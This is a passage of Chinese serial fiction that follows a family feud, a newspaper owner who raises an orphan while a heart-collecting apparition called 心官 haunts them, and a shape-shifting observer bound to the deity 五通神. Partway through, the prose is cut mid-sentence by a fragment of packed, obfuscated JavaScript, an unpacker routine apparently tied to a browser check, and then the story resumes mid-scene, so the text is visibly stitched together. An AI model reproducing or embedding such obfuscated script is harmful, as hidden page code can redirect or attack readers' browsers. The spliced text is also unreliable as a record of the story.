“你借给小满银子的时候,小满来问过我。你帮阿贵牵线的时候,阿贵来谢过我。你陪那个绸缎商说话的时候,他第二天就把你们说的话告诉我了。” 江天柩的脸僵住了。 “这乐坊里,”江天阙说,“没有一个人是你的人。” 安静。 月光照在他们之间。 江天柩忽然笑了。那笑容和平时不一样,不是温和的,不是无辜的。是冷的。 “姐姐,”他说,“我小看你了。” 江天阙点点头。 “是啊。”她说,“你小看我了。” 后来她想了想,她为什么要冒着这种风险来养一头狼?把人炸出来,一网打尽,这才是属于她的功劳,不像爹娘留下的那些东西,没人能分走。 她抬起手。 墙边的那些人动起来。 江天柩往后退了一步。 “等等。”他说。 江天阙看着他。 “你想说什么?” 江天柩笑了笑。 “姐姐,你真以为,我只有这点人来吗?” 江天阙的眼神动了动。 就在这时,后院的墙外传来一阵喧哗。 喊声,刀兵声,有人在惨叫。 江天阙猛地转头。 江天柩趁着这个机会,往墙边冲去。 她带来的人拦他。他手里不知什么时候多了一把短刀,一刀划开一个人的手臂,借势翻上了墙头。 江天阙冲过去。 “别让他跑了!” 但已经晚了。 江天柩站在墙头,回头看着她。 月光照在他脸上,那笑容还是温和的。 “姐姐,”他说,“我的人也来了。” 他翻身跳下墙。 江天阙追到墙边,墙外已经打成一团。几十个人在混战,分不清谁是谁。她只看见一个身影往巷子深处跑去,越跑越远,最后消失在夜色里。 她站在墙边,喘着气。 后院的牡丹被踩得七零八落,花瓣落了一地。 她低下头,看着那些残花。 站了很久。 “哈。” “奉大人,你欠我的,又多了一个花圃。” 伍奉权中 乐坊照常开门。 又过了几天,报社那个年轻人又来了。 他站在门口,往里看。 江天阙抬起头,笑着问:“今天打听谁?” 那个年轻人愣了一下,然后笑了笑。 “不打听。”他说,“就是路过。” 江天阙点点头。 “进来坐坐?” 年轻人摇摇头。 “不了。”他说,“我还有事。” 他转身走了。 走出几步,他又停下来。 “江老板,”他回过头,“你弟弟走了?” 江天阙看着他。 “走了。”她说,“回老家了。” 年轻人点点头。 “那挺好。”他说,“走了好。” 他走了。 江天阙坐在柜台后面,看着他的背影。 阳光照进来,照在账本上。 她低下头,继续翻账。 门口的风铃响了一声。 过了一会儿,又有脚步声。 她不抬头,说:“晚上再来。” 那个人没走。 她抬起头。 是隋良安,商号的东家。他们只见过几次,不算熟。 江天阙站起来迎接他,被男人摆手制止。 他递给她一枚玉做的带钩。 “有人给我的,让我转交给你。” 江天阙皱起了眉。 带钩,古代男子的贴身之物,同时也是权力的象征。无论取哪个意思,对一个单身女性来说都太轻薄了。 “怎么,你果然知道是谁?” “烦人的家伙。”江天阙不欲多言。 隋良安领会到了送客的意思,于是施施然告辞,转身往外走。 走到门口,他停下来。 “江老板,”他回过头,“你弟弟走了?” 江天阙看着他。 “走了。”她说。 隋良安点点头。 “那挺好。”他也说,“走了好。” 他也走了。 阳光很亮。 她低下头,继续看账。 过了一会儿,她忽然想起一件事。 那个报社的年轻人,他叫什么来着? 她想了想,没想起来。 算了,不重要。 她又翻了一页账。 三个月很快过去,江天阙笑着送走又一位顾客,再一次坐回柜台。 门口的风铃响了一声,是风吹的。 她没有抬头。 一双军靴踏进门。 门在他身后慢慢关上。 江天阙坐在柜台后面,一动不动。 阳光从窗户照进来,照在他们之间。 她终于肯抬头了。 奉权中站在那儿,看着她。 他笑了一下。 那笑容温和得很,像当初站在她身后,叫她“姐姐”的时候一样。 “姐姐,”他说,“我回来了。” “我们的对决,还没结束。” 3. 飞鸿 壹 伏鸿不知道自己出生那年是什么年号。 母亲说,他生在动乱发生的第三年。 祸事发生的很突然。峥朝是哪年没的,没人说得清。那几年乱哄哄的,官府没了,衙门空了,连路条都没人查,自然也没人关心上面的更迭。 老人们也对此缄口不言,问得多了,也只说不知道,记不清了。 战争什么时候爆发的?不知道。旧朝换了新皇帝,年号是什么?也不知道。 只知道后来隆朝建立了,新年号定下来了。那时候伏鸿早已经记事了。 他记得那时候,村里人说起当时来,都叫“乱的时候”。乱的时候怎么过的,没人愿意细讲。只说死人,说逃难,说吃的东西不够。伏鸿家还算好,父亲伏延山在城南边有家报社,虽然关了门,但攒下的家底够他们躲在乡下熬过那几年。 伏鸿已经记不太清那几年的事了。他只记得父亲偶尔会看着城的方向发呆,自语:“不求别的,报社还在就行。” 后来动乱平息,伏延山第一时间进城去看,报社还在,只是乱糟糟的,什么东西也没了。伏延山没说什么,他沉默着收拾了房屋,重新开了张,又做起印报纸的生意。 纪明远听后,寄来一块匾额。“卓生”二字写得龙飞凤舞,如锥画沙,看得伏延山直叫好。 当时,伏鸿在乡下读书。 那时候,他还不知道心官是什么。不知道这世上还有东西会一直跟着人,从生跟到死。 他只知道,父亲每次从城里回来,都会带一些新鲜事。说城里的路修了,说新朝的官来了,说纪家又添了个娃娃。 两家是世交。伏家和纪家,往上数三四辈就认识了。两家人从峥朝中期就常走动,到伏延山和纪明远这一辈,交情已经快一百年了。 好到什么程度?好到可以坐在后院的槐树下喝一下午茶,不说话也不尴尬。好到南城最大的书法家纪明远亲自给报社题匾,伏延山挂在门口,一挂就是几十年。 伏鸿没见过纪明远几次。但父亲提起他的时候,语气总是软的。 隆朝十一年,伏鸿十六岁。 那年冬天,父亲死了。 消息是母亲托人带来的。就那么几句:你爹走了。后事办完了。好好读书。别回来。 伏鸿没回去。 不是不想,是回不去。那几年匪患四起,路上还是不太平。政府不管。 母亲说别回来,他就没回。 他在乡下守孝。三年。 三年里,他常常想起父亲。想起父亲坐在报社后院的槐树下,和纪明远喝茶说话的样子。想起纪明远题的那块匾。想起父亲说,“报社还在就行”。 他不知道报社还在不在。不知道母亲一个人怎么过的。他只知道,他要读书,考上秀才,然后进城。 又过三年,伏鸿十九岁。 守孝期满。他考上了秀才。 张榜那天,他先去了一趟报社。 门开着。 门口挂着那块匾,“卓生”两个字,被擦得干干净净。 伏鸿站在门口,站了很久。 母亲从里头出来,看见他,愣了一下。 “来了?”她说。 伏鸿点点头。 母亲没多说,转身进去了。 伏鸿站在那儿,忽然想哭。 但他没哭。 他在城里租了一间屋子,也有棵槐树,但在门口。秋天落叶,扫也扫不完。 那天夜里他睡不着,披衣出门,站在槐树下发呆。 月亮很圆。月光很亮。 然后他看见了祂。 三米高的人形黑影,身上刺出无数枝干,枝干上挂满了心脏。大的小的,鲜红的干枯的,密密麻麻,像一树不该结的果子。 伏鸿站在那里,一动不动。 祂没有看他,谁也没有看。祂只是站在那里,像一个巨大的影子,把月光切成碎片。 伏鸿不知道站了多久。等他回过神来,天已经亮了。槐树还在,月亮落了,祂也走了。 他蹲下来,吐了一地。 第二天,母亲死了。 伏鸿没有哭,他放下书笈,接手了报社。 至于那个黑影,后来他问过很多人。问过先生,问过同窗,问过街边的算命师傅。没人知道他在说什么。有人说他悲伤过度疯了,有人当他撞了邪,有人给他香灰水喝。 他喝了,没用。 他不知道那是什么。不知道祂为什么跟着他。不知道祂想要什么。 他只知道,从那以后,祂每隔一阵子就会来。有时候一个月一次,有时候三四天一次。没有规律,没有预兆,说来就来。 好在没人死。 他渐渐学会了习惯。 学会了在祂出现的时候不吐,不跑,不发抖。学会了和祂共处一室。学会了在祂的注视下睡觉、读书、写字。 学会了假装祂不存在。 贰 隆朝十六年,伏鸿二十一岁。 那一年,隆朝灭亡。 隆朝的存在比想象中还要短,满打满算只有十六年,北边一直在打,南城到还太平些。 伏鸿对改朝换代没什么感觉。他记事的时候是“乱的时候”,然后是隆朝,然后是现在——听说要叫民国了。换了个名头,日子还是照过。 报社还在开着,生意不好不坏。 那天傍晚,有人敲他屋子的门。 他斟酌着打开门,没看到人。视线被铁锈味引导着下移,满目的夜色,只有墙根下躺着一个孩子,一动不动。血是他身上的。 伏鸿蹲下来,看着那个孩子。 瘦,小,脸上身上全是血。不知道是别人的,还是他自己的。 那孩子忽然睁开眼睛,看着他。 眼睛亮得很。那眼睛里没有眼泪,只有一种伏鸿说不清楚的东西。 伏鸿愣了一下。 那个眼神,他见过。 在他自己的脸上。 “你叫什么?”他问。 孩子答:“纪文星。” 伏鸿的心猛地缩紧了。 “纪家……”他张了张嘴。 纪文星没有说话,但伏鸿从他的眼里看到了答案。 是了,隆朝没了,他们那种人家,那些人不会放过的。 伏鸿凝视着那个孩子。 孩子也看着他。 谁也不说话。 过了很久,还是个孩子的纪文星终于忍不住开口。 “你是谁?” 伏鸿说:“我叫伏鸿。你父亲的朋友。” 纪文星又恢复了沉默。 伏鸿伸手,把孩子抱进屋里,打水,给他擦脸。擦掉脸上的血,露出一张很小的脸。纪文星的眼神落在他身后,那张脸上没有表情,直到收拾妥当,都没再发出任何声响。 伏鸿在他对面坐下。 “以后这儿就是你家。”他说。 纪文星抬起头,看着他。 那眼神里,没有感激,没有信任,什么都没有。 麻木的,空落落的,和他一样的。 伏鸿忽然想笑。 原来这世上,不止他一个。 那天夜里,他安顿好那孩子,一个人站在门口的槐树下。 月光很亮。槐树的影子落在地上,一动不动的。 他等了一会儿。 祂来了。 月光下,祂站在他面前,三米高,满身枝干,枝干上挂满了心脏。那些心脏比他两年前见到的更多了,密密麻麻,几乎遮住了整个夜空。 但这一次,伏鸿察觉了变化。 祂的目光,不在他身上。 他顺着祂的目光看过去。 那是报社的另一扇窗。窗户后面,是那个孩子的房间。 伏鸿的心猛地缩紧了。 他忽然明白了一件事。 祂跟了他两年,从十九岁到二十一岁。 不是为了他,而且在等那个孩子。 祂的目标里没有他。 叁 那之后的日子,和从前没什么不同。 伏鸿照常开报社,照常印报纸,照常活着。只是身边多了一个孩子。 纪文星依旧不怎么说话,总是坐在角落里,看着别人。伏鸿不逼他说话,只是每天给他端一碗热粥,放在他床边,然后走开。 有时候他会叫他。 “伏鸿。” 伏鸿停下来,回过头。 他从来不叫他养父,或者哥哥。都是喊全名。有客人逗他说这样没规矩,他也只是笑笑,依旧我行我素。伏鸿也不在意。 那孩子坐在床沿,黑洞洞的眼看向他。 “你为什么留下我?” 伏鸿想了想。 “因为你父亲和我父亲是朋友。”他说,“如果他还在,一定会留你。” 纪文星没说话。 伏鸿走回去,在他床边坐下来。 “你父亲给我家题过匾。”他说,“‘卓生’那块,挂在门口。你听他说起过吗?” 纪文星摇头。 伏鸿笑了笑。 “明天带你去看。” 第二天,他带着纪文星站在门口,指着那块匾给他看。 那孩子仰着头,看着那两个字,看了很久。 “他写的?”他问。 伏鸿点点头。 那孩子又看了很久。 然后他低下头,没再说话。 伏鸿看着他的侧脸,忽然想起很多年前,纪明远坐在后院的槐树下,和他父亲说话的样子。两个人一人一杯茶,说些他听不太懂的话。 那时候他不懂。 现在他仍然不太懂。 那些年里,黑影来得更勤了。 有时候站在后院,有时候站在门口,有时候站在那孩子睡觉的窗外。伏鸿看见了,但他不想管。 他也没法管。 有一天夜里,纪文星站在房间门口,忽然叫住了他。 “伏鸿。” 伏鸿转过头。 那孩子坐在床上,看着窗外。 “那个东西,”他说,“是什么?” 伏鸿愣了一下。 “什么?” 纪文星指着窗外,眼睛却没动,依旧盯着他看。 “那个。黑的。很大的。” 伏鸿的心猛地缩紧了。 他顺着他的手指看过去。窗外什么都没有。 “你看得见?”他问。 那孩子点点头。 “六岁那年就看见了。”他说,“我阿姊死的那天晚上。” 伏鸿没说话。 纪文星低着头,沉默了很久。 “阿姊是为了救我。”他开口,“我被祂吓到了,掉进水里,她跳下来救我。她把我推上岸,自己没上来。” 伏鸿攥紧了拳头。 “后来祂就不见了。”他说,“我以为祂走了。” 他抬起头,看着伏鸿。 “但祂又回来了。抄家那天晚上,它就混在拿枪的那些人里面。” 伏鸿的喉咙发紧。 “我爹娘把我藏起来。”纪文星绞紧了手指,“他们用身体挡住我。我听见他们在说话,说‘别怕,很快就过去了’。” 他低下头。 “然后他们就不说话了。” 屋里安静极了。 伏鸿过了很久才开口。 “你知道祂是什么吗?” 那孩子摇摇头。 伏鸿沉默了一会儿。 “我也不知道。”他说,“但我想,他应该是来收债的。” 纪文星又抬起头。 “什么债?” 伏鸿想了想。 “上辈子的吧。”他说,“你上辈子欠的,这辈子要还。” “我欠了什么?” 伏鸿摇摇头。 “不知道。”他说,“但有人替你还了。” 纪文星愣了一下。 “谁?” “你阿姊。”伏鸿说,“你爹娘。你那些族人。” 那孩子张了张嘴。 伏鸿看着他,视线放在他的手上——他已经把自己的指甲抠坏了。 “他们替你还了债,祂就会放过你一阵子。”他把手覆在他的手上,权当是安抚,“你阿姊替你还了,祂放了你三年。你爹娘和族人替你还了,祂又放了你,这次不知道多久。” 纪文星把手抽出来,收在身后,攥紧了被角。 “那祂为什么又来了?” 伏鸿沉默了很久。 “因为债会涨。”他说,“像高利贷一样,利滚利。你欠的本金还在,替你还的人越多,祂下次来要的就越多。” 那孩子看着他。 “伏鸿,你怎么知道这些?” 伏鸿没说话。现在攥紧手指的成了他。 他站起来,走到窗前,似乎在组织语言。 “因为祂跟过我。”他说,“跟了两年。” 那孩子愣住了。 伏鸿背对着他,看着窗外的夜色。 “我不知道我上辈子欠了什么。”他说,“但祂跟过我。从十九岁到二十一岁。” 他转过身,看着那孩子。 “现在祂跟着你。” 那孩子看着他。 “祂会一直跟着吗?” 伏鸿沉默了一会儿。 “会。”他说,“直到你把债还完。” 那孩子低下头。 伏鸿走回去,在他床边坐下来。 “但有人替你还,你就能多活几年。”他说,“你阿姊,你爹娘和族人们,他们用命给你换时间。” 他侧过脸。 那孩子抬起头,看着他。 那眼神里,有伏鸿从来没见过的光。 肆 那孩子一天天长大。长高了,会笑了,会和人说话了,会在报社里跑进跑出,帮着干活。 但他好像忘了那天的谈话,什么心啊债啊,再也没提起。伏鸿尝试过各种旁敲侧击,纪文星都没回应他。 就连谈起他父母,他的反应都淡淡的。 伏鸿有时候会想,那些替他死的人,知道吗? 他阿姊跳下去救他的时候,知道自己会死吗?他爹娘把他藏起来的时候,想过他会被自己收留吗?伏鸿不清楚。也许他们只是做了自己该做的事,想了自己该想的事——让他活着。 至于黑影、债、利息这些事,他们不知道,也不在乎。 他活着就行。 伏鸿想着这些,也就不再去想了。 隆朝亡后好几年,纪文星十四岁。 那年离隆朝灭亡已经好些年了。新民国换了几个领导,打了几场仗,城里的人来来去去,报社的生意起起落落。 那天伏鸿从外面回来,看见那孩子坐在后院,手里拿着一本书。 “看什么呢?” 纪文星抬起头,把书递给他。 是一本医书。 “只是看看。”他说。 伏鸿愣了一下。 “只是看看?” 那孩子低着头,没说话。 伏鸿看着他,忽然想起很多年前,纪明远坐在后院的槐树下,和他父亲说话的样子。那时候他也是这样低着头,不说话。 他忽然就不想问了。 伏鸿在他身边坐下来。 “其实,学点医术也好。”他说,“能救人。” 那孩子抬起头,看着他。 “伏鸿,你说,”他问,“人死了之后,会去哪儿?” 伏鸿想了想。 “不知道。”他说,“没死过。” 那孩子低下头。 伏鸿蹲下身看他。 “你想起来了?” 那孩子摇摇头,眼睛不跟着脑袋动,直勾勾地盯着他看。 “我没有印象。”他忽然露出一个比哭还难看的笑,扯住他的衣摆,“他们说,亲人死了,人应该悲伤,应该彷徨,应该难过的睡不着。可我想着他们,念着他们的名字,心里甚至生不出一丝该有的情感。” “什么是该有的情感?” 伏鸿伸出手,摸了摸他的头。 “知道吗,君年。人性是很复杂的,悲喜交织,爱恨相融,不能一概而论。有的时候,没有情感,也是一种情感。” “他们替你挡了债。”他说,“你活着,就是替他们活着。” “那你呢?” 纪文星抬起头,看着他。 “伏鸿,你会替人挡债吗?” 伏鸿愣了一下。 那孩子看着他,眼睛又变得亮亮的。 “如果有人欠债,”他说,“你会替他们挡吗?” 伏鸿沉默了一会儿。 “不知道。”他说,“没想过。” 纪文星敛起眉,没说话。 伏鸿站起来,走回屋里。 那天夜里,他站在后院的槐树下,看着那扇窗。窗户后面亮着灯,那孩子在读书。 他忽然想起那孩子问的话。 会替人挡债吗? 他不知道。 就像他当时为什么要说谎,他也不知道。 反正这只是以后的事。 以后的事,以后再说。 伍 又过了几年,纪文星十九岁。 那年他中学毕业——以前叫中秀才。伏鸿还是按老规矩,在门口放了一挂鞭,请街坊邻居吃了顿饭。那孩子坐在席上,笑着应付那些人,看起来和任何一个中学毕业的年轻人没什么两样。 但伏鸿知道不一样。 那天夜里,他来找伏鸿。 “伏鸿。”他说,“我想改名字。” 伏鸿愣了一下。 “改什么?” 那孩子低着头,沉默了很久。 “纪闻幸。”他说,“我想叫纪闻幸。” 伏鸿看着他。 “闻幸?”他问,“为什么?” 纪文星——纪闻幸抬起头,却没有看他,眼神经过他身侧,落在天花板上。 “闻幸,闻幸。”他说,“我在一众尸山血海中爬出来,能幸运地活下去,以后也会像这样幸运。” 伏鸿没说话。 他把视线移向他,眼睛里有一种他很熟悉的东西。 他见过,在黑影的“眼睛”里。 “伏鸿,”那孩子问,“你说,这是幸运吗?” 伏鸿沉默了很久。 然后他伸出手,摸了摸他的头。 “睡吧。”他说。 那孩子看着他,没动。 伏鸿把手收回来,站起来,走到门口。 “伏鸿。”那孩子忽然开口。 伏鸿停下来。 “你会一直在这儿吗?” 伏鸿回过头,看着他。 月光从窗户照进来,照在那孩子脸上。那眼睛依然漆黑一片,却多了几分期待。 和十年前不一样。 伏鸿笑了笑。 “会。”他说。 那孩子看着他,看了很久。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在脑海里飞速思索,面上却不显,用疑惑的目光回应男人的视线。 那人没理他。他从袖子里掏出一张纸,递过来。 “给你的。” 伏鸿没接。 那个人把纸塞进他手里,转身走出小巷。 伏鸿连忙追出去,街上一个人都没有。 他低下头,看手里的纸。 纸很普通,一面写着字,另一面有擦拭的痕迹。 有字的那面写着几组词,有的工整,有的潦草,不是一个人的字迹: 心官。收债。本息。无解。 下面还有一行小字,是秀气的,读书人的字,比别的要黑,应当是后来加上去的: 不是你。 伏鸿攥着那张纸,站在街边,站了很久。 直到天色放晴,行人上街,对他投来好奇的目光。 于是他回到报社,伏在案上把擦痕拓出来。 字很乱,位置乱。他辨认了很久,方确认了两个人的名字:都慈都心石,禹准禹之文。 剩下的字,他还理解不了。鬼使神差的,他把那两个名字抄录下来,揣进了胸前的口袋里。 一道暗影洒向桌案。 他猛地抬起头,黑影就在那里,站着,不看他。 伏鸿却看着祂,兀得笑了。 他记住了。 心官。 纪闻幸来的第二年,他又走到巷子里。这几年里他不是第一次走到这里,但这一次他停住了。 他顺从着内心的指引,扣响了门扉。 “我想请您刻个字,詹大师。”他说着,从口袋摸出一张纸,折几下,只露出两个字。 门“吱呀”一声开了。 柒 隆朝亡后十来年,那孩子二十出头了。 报社的生意好了些。纪闻幸接手了一部分活,印报纸,接生意,跑外联。伏鸿清闲下来,有时候一整天就坐在后院的槐树下,喝茶,发呆。 心官来得少了。 有时候两三个月来一次,有时候半年也见不到影。每次来,都站在纪闻幸看不见的地方,看着他。 伏鸿也看着祂。在背后,有时候隔着两堵墙,他知道祂会站在那。 伏鸿不去想那些债的事。想了也没用。那孩子活着,报社开着,日子过着,就行了。 那些年里,他偶尔会在街上看见一个人。 看年龄,应该比他小几岁,看衣着,像个书生。脸上没什么表情,眼神空空的,像是在看什么,又像是什么都没看。 伏鸿不慎和他对视过。他的眼神让他莫名觉得熟悉,像递给他纸条的那个家伙。 但他想不起来那人长什么样了,他好像从来就没记住。只记得他的眼睛,现在却也记不清了。 伏鸿不知道他是谁。但他每次看见那个人,都会想起那张纸,想起心官。 有一次,他们在街角擦肩而过。 伏鸿低着头走路,想着报社的事。那个人从对面走过来,目光越过他,看向不知什么地方。 他们之间的距离只有两三步。 伏鸿走过去了。 那个人也走过去了,视线似乎有一瞬间的飘移。伏鸿没注意,也或许是没在意。 他不知道那个人是谁。但他知道,那个人身上有什么东西。不是心官——心官还站在报社的窗外,看着那孩子。是别的东西。 他说不上来是什么。 但那不会影响他们的生活,所以也不重要了。 他们只是在这座城里,活在同一片天空下,走过同一条街,擦过同一个肩。 仅此而已。 捌 又过了几年,秋天。 伏鸿三十六岁。 很美好的一个年龄,对于人类来说。正当壮年。 可他就要死了。病死的。 纪闻幸为他找遍了城里的医生。有名的无名的,老的少的,有本事的没本事的,来了都是一句话。 “心脏病。没法儿治了。” 最后请的那个,他以前生病时,母亲为他请来过。他比别人多说了一句话。 他说: “从脉象看,这病像天生的——怎么会是天生的呢?” 伏鸿沉默了。 纪闻幸看看他,又看看老大夫,恭恭敬敬把人送回去了。 关门,落锁。 伏鸿自以为,这辈子没做过什么大事。父亲死的时候他没能送终,纪家出事的时候他救不了人。他只是开着一家小报社,养大了一个别人救下来、又扔给他的孩子。 也行。他想。足够他用来向父母交差了。 恍惚中,他忽然想起那孩子问的话。 “伏鸿,你会替人挡债吗?” 他说不知道。 现在他知道了。 祂不管他愿不愿意,祂注意到他了,于是他要死。 就这样。 他想起父亲,想起纪明远,想起后院的槐树,想起那块“卓生”匾。 想起第一次见那孩子的夜色。 想起他说“以后这儿就是你家”。 想起纪闻幸问他,“伏鸿,这是幸运吗?” 他没回答,当时他不知道,现在依然不知道。 他闭上眼睛。 有人在敲门,是纪闻幸。他回来了。 “伏鸿,你要死了吗?” 他依旧直言不讳。在伏鸿面前,他就这样。 “嗯。”他用力发出一声气音,眼球转向他,意思是:有什么事。 “没什么。”纪闻幸搬来一张凳子坐下,“我来想你坦白一件事——我骗了你一件事。” 他像小时候那样绞着手指,继续说:“我阿姊,她其实水性很好。她其实不是溺水死的……” 他顿了顿,眼神来回飘。 “是我杀了她。” 他越说越顺。 “我不知道发生了什么,只记得阿姊她瞪大了眼睛看我,眼里有从未有过的惊恐。” “她的左胸被刀刃刺穿,流了好多血。握着刀的人,是我。” 左胸,心脏。 纪闻幸像知道他在想什么一样,补充道:“当年我家的那件事,别人我不清楚。但我父母,致命伤都在心脏。” 伏鸿了然。 他的心脏,也要作为息金,被心官收走了。 他伸出手,像刚遇到纪闻幸那天一样覆在他的手上。纪闻幸眼神闪了闪,没躲。 他说:“君年,有些债不能还,只能躲。” 他指指前院的报社,“报社留给你。别查我的事。” 纪闻幸没说话。房间里一片寂静。 他的呼吸慢慢停了。 他不知道,那天夜里,心官来了。 就站在门口,那株槐树下面。 没去看纪闻幸。 看着他。 看着他闭上眼睛。 看着他的心脏停止跳动。 然后,祂伸出“手”。 那些枝干上挂着的心脏,又多了一颗。 那颗心脏,是伏鸿的。 祂把伏鸿的心脏挂在枝干上,挑了个好地方。 然后转过身。 走了。 月光照在巷子里,照在他身上。 他躺在那里,一动不动。 4. 尘因 新民国二十年,秋天。 边向云走出南城的那天夜里,月光很亮。祂背着包袱,走在出城的路上,一步一步,不紧不慢。 走到城外三里地的土地庙,祂停下来。 庙里有人。 不,不是人。 祂靠在庙门的立柱上,穿着一件月白长衫,眉眼温和,嘴角带着一点笑意。看起来二十多岁,生得好看,好看得让人挑不出毛病。但那双眼睛——那眼睛里有东西在动,是笑意,是审视,是别的什么,漆黑的融成一片,说不清楚。 “来了?”祂说。 边向云看着祂。 二十一年了。从第一次见面到现在,二十一年了。祂还是这副样子,眉眼温和,嘴角含笑,看不出年纪,看不出性别。 “你来干什么?”边向云问。 五通神笑了。 “来送你。”祂说,“换新身份,总得送一送。” 祂从立柱上直起身,走到边向云面前。月光照在祂脸上,那张脸和二十一年前一模一样。 “这些年辛苦你了。”祂说,“帮我看了那么多人。” 边向云没说话。 五通神从袖子里掏出一张纸,递过来。 边向云看了一眼,没接。 “又是什么?” 五通神笑了。 “不是什么重要的东西。”祂说,“就是个提醒。有个伥鬼,最近在活动。跟你没关系,但万一遇上了,心里有个数。” 祂把纸塞进边向云手里。 边向云低头看了一眼。 纸上写着一行字,一笔一划,是祂自己的字迹:为虎作伥,伥君子。与你无关。 下面还有一行小字:但以后的事,谁也说不准^_^。 祂把纸收进怀里。 “走了。”祂说。 五通神点点头。 “嗯。” 边向云走出几步,忽然停下来。 “对了。”祂回过头,“二十多年前那个晚上,你让我送的那张纸条。那个人,后来怎么样了?” 五通神看着祂。 “死了。”祂说,“病死的。心官收走了他的心脏。” 边向云没说话。 “你问这个干什么?” 边向云想了想。 “好奇?”祂说,“不知道。” 祂转身走了。 五通神站在土地庙门口,看着祂的背影消失在夜色里。 月光很亮。 祂转身走进庙里,月光下,地上泛出几分土褐色,没有影子。 那时候峥朝还在。 林煦十八岁。 那年春天,他坐在私塾的窗边检查课业,忽然听见很多声音在脑子里同时说话。那是族人的记忆,在‘他’成年的这一刻,向祂敞开了。 祂知道了自己的来历。 知道自己是佚名。 知道那具身体原本的主人,那个孩子,活了不到三个月,就被祂取代了。 祂没有难过。佚名不需要难过。 但祂坐在那里,书页很久没有翻动。 窗外的槐花开得正好,香气一阵一阵飘进来。 祂看着那些白色的小花,心里空落落的。 那天夜里,祂回到住处。 门开着。 屋里坐着一个人。 月白长衫,温文尔雅。目若朗星,风度翩翩。二十来岁,看身段和衣着,应当是个男子。 “等了你很久。”那个人张口,声音却直接在祂脑海响起。。 林煦站在门外,没动。 “你是谁?” 那个“人”站起来,走到祂面前。 “我叫五志。”祂说,“或者五通。随便你怎么叫。” “你是神……邪神?”林煦手伸向身后,试图握住防身匕首的刀柄。没有碰到任何东西。 “不明显吗?五通神,我的名号。”五志——五通神轻哼一声,笑着摊手,匕首贴着林煦的鼻尖从天而降,插进地里。 林煦身体猛地紧绷。 祂绕着林煦走了一圈,步子很慢,像是在看一件稀罕物件。 “佚名。”祂说,“有意思。几百年没见了,替我向你们老祖问声好。” 林煦看着祂。 “你知道佚名?” 五通神笑了。 “我当然知道。”祂说,“你们这个种族,不沾因果,也不入轮回。说是人类,倒不如说就是一具空壳子,装进去,替人活着。” “天生的观察者。” 祂状若慨叹,偏头看林煦的眼睛。 “知道我最喜欢你们什么吗?”祂说,“你们的傲慢。那种自认为凌驾于他人之上的傲慢,和‘我们’很像。” 林煦皱眉,没接祂这一茬,“我不知道老祖在哪。” “没关系。祂已经知道了。” 五通神靠回椅背里,那姿势随意得很。 “林家供了我几辈子。”祂说,“你占了林煦的壳子,我就得来认认门。顺便看看,是什么东西住在我信徒家里。” 祂伸出手,隔空点了点林煦的胸口。 “我很好奇。”祂说,“关于你们种族的事,太有趣了——哪怕是我,也难以创造这样一个种族。” 林煦看着祂。 “你要干什么?别告诉我就是看看。” 五通神笑了。 “不然呢?”祂说,“你现在能为我做什么?” 祂站起来,走到门口,停住。 “林煦。”祂回过头,“你记住,你是观察者。你只能看,不要参与。这是一个忠告。” 祂看着林煦的眼睛。 “但以后的事,谁也说不准。” 祂走了。 林煦站在屋里,看着空荡荡的门口。 那天夜里,祂第一次认真想:佚名一族,到底是什么东西? 祂想不出来。 但祂知道,有什么东西不一样了。 秋天的时候,祂从京城赶考回来,在半路的林子里救了一个人。那人浑身是血,脸上有刀伤,躺在那儿等死。 祂救了那人。 不知道为什么。 那人在破庙里躺了三天才醒。醒过来的时候,林煦坐在门槛上,看着外面的雨。 “你叫什么?”那人问。 林煦回过头。 那人眼睛很亮。即使刚醒过来,浑身是伤,那眼睛也亮得吓人。林煦神思游移片刻,觉得他像一匹狼。 “林煦。”祂说。 “林煦。”那人点点头,“我叫奉权中。你救了我,记住了。” 林煦没说话。 “我欠你一条命。”奉权中说,“以后还你。” 林煦还是没说话。 奉权中在那儿养了三个月的伤。追杀他的人来过几批,每次都被杀了个干净。杀完了回来,身上溅着血,看见祂,脸上扬起一抹笑。 林煦观察着他,他也在观察祂。 伤好了之后,奉权中要走。 “你救了我,我记住了。”他说,“我会成为北边最大的军官。以后有事,可以去找我。” 林煦点点头。 奉权中盯着祂看了很久。 “你不对劲。”他说,“你看人的眼神不对。” 林煦没说话。 奉权中笑了。 “行。”他说,“不管你对不对劲,你救了我,这是事实。” 他走了。 林煦站在破庙门口,看着他的背影消失在林子里。 那天夜里,祂回到私塾。 五通神坐在屋里,等着祂。 “回来了?”五通神说,“救了个挺有意思的人——为什么?” 祂在问,为什么救人吗? 林煦看着祂,没回答,而是又抛出一个问题。 “你一直在看我?” 五通神笑了,似乎毫不在意祂的答非所问。 “我是神,我想看就能看。” 祂站起来,走到林煦面前。 “那个人,他其实不叫奉权中。但他以后会是。”祂说,“你知道他以后会杀多少人吗?” 林煦移开视线,没说话。 五通神笑了。 “你不关心。”祂说,“你是观察者。可你又参与了。这就是我当初注意你的原因。” 祂走回椅子边,坐下。 “有个事,我想让你参与一次。”祂说。 林煦不解,“什么意思?” 五通神靠进椅背里。 “你帮我看着点东西。”祂说,“人。那些心里有东西的人,那些快死的人,那些不该死的人。看到了,告诉我一声。” 林煦沉默了一会儿。 “为什么是我?” 五通神笑了。 “因为你是佚名。”祂说,“你不会被他们影响。你无情,但又并非绝情。在这一方面,我的信徒们都比不过你——抽之即去,但又并非全然的置身事外——我需要的就是这个。” 林煦没说话。 五通神站起来,走到窗前。 “你帮我看着他们。”祂说,“我帮你活着。” 林煦终于抬头看祂。 “我本来就能活着。” 五通神回过头,那笑容里多了一点别的东西。 “你能活多久?”祂问,“一百年?两百年?佚名能换身份,但面对危险时你们也只是普通人。脆弱,不堪一击。你能保证自己永远不会遭遇祸患吗?还是说,你真觉得那个奉权中是个好人?你相信他吗?我可以帮你——帮你活得久一点,帮你换得顺一点。” 林煦沉默了很久。 然后祂开口。 “成交。” 五通神笑了。 林煦第一次在祂眼睛里看见笑意。 没过多久,林煦这个身份的母亲死了。 那个满心爱着自己的孩子,却让她的杀子仇人享尽全部爱意的、可悲的母亲,就那样倒在了病痛的折磨下。 到底是养育祂长大的人,佚名站在她的葬礼上,抬手捂住胸口,属于林煦的心脏跳的很沉重。 很奇妙的感觉,祂还没体验过。很新奇。 那天夜里,五通神来找祂。 